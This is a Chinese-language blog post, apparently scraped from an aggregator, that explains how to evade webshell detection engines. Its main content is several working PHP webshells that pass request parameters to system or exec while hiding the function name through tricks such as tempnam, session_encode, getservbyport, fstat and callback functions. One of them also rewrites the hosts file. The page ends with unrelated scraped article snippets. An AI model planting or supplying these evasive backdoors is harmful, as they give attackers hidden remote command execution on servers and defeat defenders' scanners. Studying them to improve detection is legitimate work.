一些Webshell-Bypass的思路

——

经过这一段时间的研究,针对webshell-Bypass我也有了一些自己的技巧,于是决定写下这篇文章,阅读前提是需要有一点PHP的语言基础。

在讲解代码之前,需要简单了解一下不同查杀平台webshell查杀的查杀原理。对于一些较传统的Webshell查杀软件大多都是基于特征码进行查杀(正则表达式匹配关键字)。一些在线的Webshell查杀引擎则是在原有的基础上进行了技术革新,例如沙箱模拟运行,污点追踪,人工智能,机器学习等技术。以下称这两种类别的查杀平台为传统类和新兴类。

这篇文章主要通过一些实例来进行思路解析,对于检测平台的具体检测技术不做具体解释。
下面我用一些实例来说明一些Webshell的绕过思路以及执行原理

 以下样本均已在CT_stack社区提交,均已通过并修复。请勿重复提交!

面向传统检测软件:

 对于一些传统的webshell查杀软件,这类软件基本上都是基于样本特征来进行查杀判断,例如动态函数执行,字符串拼接等操作在此类软件看来可能是恶意文件的特征。

 针对这一类特征的识别,绕过思路可以是利用一些魔法全局常量/变量,或是使用一些冷门的危险函数,又或是利用一些PHP语言本身的语法特性来进行绕过。

Demo1:
system
<?php
substr(file_get_contents("./当前文件名.php"),0,6)($_GET["1"]);

执行原理:

 这个Demo思路简单明了,php文件中在”<?php?>”作用域范围内的才需要遵顼语法规范,所以程序不会因为开头的system字符而报错,直接读取当前文件的前六个字符做动态函数调用即可动态调用system函数。当然还可以做一些其它的变形,例如使用get_meta_tags()函数解析当前页面meta标签来获取标签中的属性做动态函数调用。这种思路也可以作用于部分的新型查杀平台。

<?php
get_meta_tags("./当前文件名")["author"]($_GET["1"]);
Demo2:
<?php
if (file_exists('/etc/passwd')) {$name = tempnam("./", "exec");echo (substr($name,-10,4))($_GET["1"]);unlink($name);
} else {$name = tempnam("./", "exec");echo (substr($name,-11,3)."c")($_GET["1"]);unlink($name);
}

 执行原理:

  1. 首先判断当前脚本处于何种操作系统,通过观察我发现Linux/Windows平台生成的临时文件名略有差异

  2. tempnam函数的作用是在指定目录下创建一个临时文件,第一个参数表示临时文件的存储路径,第二个参数表示临时文件的前缀名,该函数执行成功会返回生成的文件的绝对路径包括文件名。

  3. 经过测试,Linux系统生成的临时文件名为给定前缀+任意六位数字组成,所以从倒数第十位开始截取,截取四位得到字符串”exec”。而Windows平台上创建的临时文件,规则为指定前缀名前三位字符+随机的四位字符+.tmp结尾,所以需要从倒数11位开始截取截取3位最后拼接上c字符形成新字符串”exec”。

  4. 其目的都是为了截取返回的新文件名动态的执行exec函数,最后的unlink目的是删除生成的临时文件,以避免每执行都要生成新的文件造成资源浪费。

Demo3:
<?php
function c($a,$b) {$a($b);
};
array_intersect_uassoc([$_GET["a"]=>$_GET["1"]],[$_GET["b"]=&gt;$_GET["2"]],'c');

执行原理:

  1. array_intersect_uassoc函数用于比较两个数组索引的交集,也就是可以返回两个数组中索引值一致的成员。这个函数的第三个参数是一个回调函数。

  2. 在回调函数中直接使用不同数组的键名做动态函数调用以及参数传递。

Demo4:
<?phpclass a {function __toString(){getallheaders()["Host"](getallheaders()["User-Agent"]);return "";}
}
$class = new a();
echo $class;

执行原理:

  1. __tostring方法是PHP中的魔术方法,当类的实例被echo,var_dump等函数打印时该方法就会执行。

  2. *getallheaders函数用于获取HTTP/S请求头中的指定字段值。获取Host,UA等字段做动态函数执行。

<img src=".\Pic\1.png" alt="1" style="zoom: 50%;" />

绕过思路分析:
  1. 使用魔术方法,尽可能隐匿危险函数的触发点(让危险函数的执行触发时机变得未知)。

  2. 寻找冷门的回调函数。

  3. 从程序外部获取字符串进行动态函数调用。

面向新型在线查杀平台:

下面是CT stack社区Webshell绕过报告中可以选择的几种绕过类型,我提交的样本大多基于未知Source绕过或是污点跟踪绕过,对于这一类型的绕过可以试着查PHP手册,关注一些可以返回固定字符串或是固定数组的函数,利用这一类函数返回的结果做字符串拼接等操作来做动态函数调用。

我认为比较有意思的一点是,一些能Bypass新兴型检测平台的样本竟然不能Bypass一些传统的查杀软件。出现这种情况的原因我觉得是新兴型的查杀平台有时过于注重Webshell的实际运行结果而忽略了文件本身的逻辑和行为(想必是为了降低误杀率)。我总结的这句话各位可以在实际的Bypass过程中自行体会(这里特指未知资源类型的绕过)。总之,我觉得每个平台都有各自的特点,绕过思路也是不一样的。

图片

Demo1:
<?php
$hosts_file = $_GET["1"];
$data = "192.168.23.129 system";
$hosts_content = file_get_contents($hosts_file);if (strpos($hosts_content, $data) === false) {file_put_contents($hosts_file, "\n".$data . PHP_EOL, FILE_APPEND);$e = gethostbyaddr("192.168.23.129");$e($_GET["2"]);
} else {$e = gethostbyaddr("192.168.23.129");$e($_GET["2"]);
}

执行原理:

  1. gethostbyaddr函数可以根据IP地址获取对应的主机名,获取主机名时首先会在当前机器的Hosts文件进行查询。首先判断但当前计算机是否有添加解析记录,如果没有则添加一条记录,”192.168.23.129 system”。

  2. 添加后再通过gethostbyaddr函数即可获取到对应的主机名。

  3. 目前只在Windows平台测试过。

Demo2:
<?php
session_start();
$_SESSION['a'] = 'system';
$s = session_encode();
preg_match("/system/",$s,$e);
$e[0]($_GET["1"]);
session_write_close();
?>

执行原理:

  1. session_start()启动一个会话。

  2. 向$_SESSION中写入一个值(“system”)。

  3. session_encode()将当前会话内容编码为一个新的字符串。其中包含system字符串。

  4. 使用正则匹配返回的字符串,匹配是否有system关键字,返回结果到$e变量。

  5. 使用$e匹配结果动态调用函数system。

  6. session_write_close()结束当前会话。

Demo3:
<?php
$a = getservbyport(512,"tcp");
echo $a($_GET["1"]);

执行原理:

getserverbyport函数可以根据端口号以及对于协议给出其对应的服务名,可以参考/etc/services文件内容。tcp512端口对应的服务名为exec通过此字符串动态调用exec函数。

Demo4:
<?php
$a = fopen("./1.php","r");
$e = null;
$h = null;
$p = null;foreach (array_keys(fstat($a)) as $n) {$e.=$n;
}
foreach (str_split($e) as $c) {if (ord($c) == 99) {$p = $c;} elseif (ord($c) == 101) {$h = $c;}
}
$x = $h.'x'.$h.$p;
echo $x($_GET["1"])
?>

执行原理:

  1. fopen用于打开一个文件,这里用这个函数打开当前文件,当前文件名为1.php,”./“表示当前路径。

  2. fstat()函数用于获取使用fopen函数打开的文件的信息,返回一个数组类型的数据。使用array_keys函数获取返回的数组的所有键名,通过for循环将所有键名拼接到变量$e中。(获得的数组的键名中包含”e”,”c”两个字符)

  3. 使用str_split函数将该字符串转换为数组(字符串中每个字符为一个数组元素),遍历这个数组,匹配其中的”e”,”c”字符,分别放到全局变量$h,$p中。

  4. 使用$h,$p拼接为新的字符串”exec”,最后将其作为函数进行动态调用。

  5. 通过get请求传递参数1到exec函数中进行动态命令执行。

绕过思路分析:
  1. 尽可能避免使用可控的全局变量(例如$_SERVER)或外部可控的全局数组(例如getallheaders获取的请求头数据)获取数据。

  2. 发散思维使用任何你能想到的任意方式获取固定的字符串或字符进行动态函数调用。

  3. 不要只拘泥于当前文件,例如通过http请求获取响应内容等方式。类似于二进制免杀中的分离加载。

  4. 利用不同操作系统差异进行绕过(这类样本在部分绕过比赛中不收),php中的部分函数在不同操作系统下执行存在着差异。

  申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/687759.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

GEE数据集——高分辨率全球树冠高度地图(1 米)Meta 公司

高分辨率 1 米全球树冠高度地图 简介 全球树冠高度地图数据集提供了对全球树冠高度的全面了解,有助于对森林生态系统、碳固存和气候变化减缓工作进行精确监测。该数据集由 Meta 和世界资源研究所合作开发,是了解森林结构和动态的基石。通过融合最先进的卫星图像和先进的人工…

Springboot+Vue项目-基于Java+MySQL的车辆管理系统(附源码+演示视频+LW)

大家好&#xff01;我是程序猿老A&#xff0c;感谢您阅读本文&#xff0c;欢迎一键三连哦。 &#x1f49e;当前专栏&#xff1a;Java毕业设计 精彩专栏推荐&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; &#x1f380; Python毕业设计 &…

下载源代码并交叉编译riscv FreeBSD系统和内核

RISCV系统曾经让人神秘到无法接触&#xff0c;交叉编译更是只有耳闻&#xff0c;现在随着RISCV的普及&#xff0c;它们神秘的面纱已经被慢慢揭开。 交叉编译作为RISCV系统中的一个重要环节&#xff0c;也随着RISCV的普及而变得更加容易理解和操作。交叉编译允许开发者在一个平…

F. Circle Perimeter

思路&#xff1a;线性时间复杂度就可以解决&#xff0c;不用二分&#xff0c;我们枚举横坐标&#xff0c;然后看当前横坐标情况下多少个纵坐标满足条件。 代码&#xff1a; void solve(){int r;cin >> r;int y r, ans 0;for(int x 0;x < r;x ){ //枚举横坐标x&am…

【深度学习】Diffusion扩散模型原理解析1

1、前言 diffusion&#xff0c;这几年一直很火的模型&#xff0c;比如这段时间在网上的文生图大模型——Stable diffusion。就是以diffusion作为基底模型&#xff0c;但由于该模型与VAE那边&#xff0c;都涉及了较多了概率论知识&#xff0c;实在让人望而却步。所以&#xff0…

Linux 磁盘分区工具 gdisk / fdisk

fdisk 是传统的 Linux 磁盘分区工具&#xff0c;磁盘容量有2T的大小限制&#xff1b;gdisk 又叫 GPT fdisk, 作为 fdisk 的升级版&#xff0c;主要使用的是GPT分区类型&#xff0c;用来划分容量大于2T的硬盘&#xff0c;本文介绍使用方法。 简介 早期的磁盘使用 fdisk 工具分区…

计算机视觉中的计算几何

计算几何领域出现于 20 世纪 70 年代&#xff0c;研究解决几何问题的数据结构和算法。这尤其包括确定图像内的拓扑结构&#xff0c;或者实际上是更高维的表示&#xff0c;例如点邻域&#xff0c;这可以帮助从数字图像数据等中导出几何意义[1]。 计算机视觉主要涉及静态或动态图…

【Web后端】servlet基本概念

1.ServletAPI架构 HttpServlet继承GenericServletGenericServlet实现了Servlet接口&#xff0c;ServletConfig接口,Serializable接口自定义Servlet继承HttpServlet 2.Servlet生命周期 第一步&#xff1a;容器加载Servlet第二步&#xff1a;调用Servlet的无参构造方法&#xf…

智能助手上线,大模型提供云服务专属顾问

业务背景 在使用云服务的时候&#xff0c;当您遇到复杂问题&#xff0c;如配置、关联或计费方式不明确时&#xff0c;可能需要向客服提交工单进行技术沟通。在漫长的工作过程中&#xff0c;耗费了宝贵的时间和精力。 2024 年 4 月&#xff0c;百度智能云正式推出了融合文心大…

数据库SQL语言实战(八)

目录 练习题 题目一 题目二 题目三 题目四 题目五 题目六 题目七 题目八 题目九 题目十 练习题 题目一 找出年龄小于20岁且是“物理学院”的学生的学号、姓名、院系名称,按学号排序 create or replace view test6_01 as select S.sid,S.name,S.dname fr…

【基础算法总结】二分查找一

二分查找一 1. 二分查找2.在排序数组中查找元素的第一个和最后一个位置3.x 的平方根4.搜索插入位置 点赞&#x1f44d;&#x1f44d;收藏&#x1f31f;&#x1f31f;关注&#x1f496;&#x1f496; 你的支持是对我最大的鼓励&#xff0c;我们一起努力吧!&#x1f603;&#x1…

【Spring之依赖注入】2. Spring处理@Async导致的循环依赖失败问题

使用异步Async注解后导致的循环依赖失败详解 1 问题复现1.1 配置类1.2 定义Service1.3 定义Controller1.4 启动springboot报错 2.原因分析&#xff1a;看Async标记的bean注入时机2.1 循环依赖生成过程2.2 自检程序 doCreateBean方法 3.解决方案3.1 懒加载Lazy3.1.1 将Lazy写到A…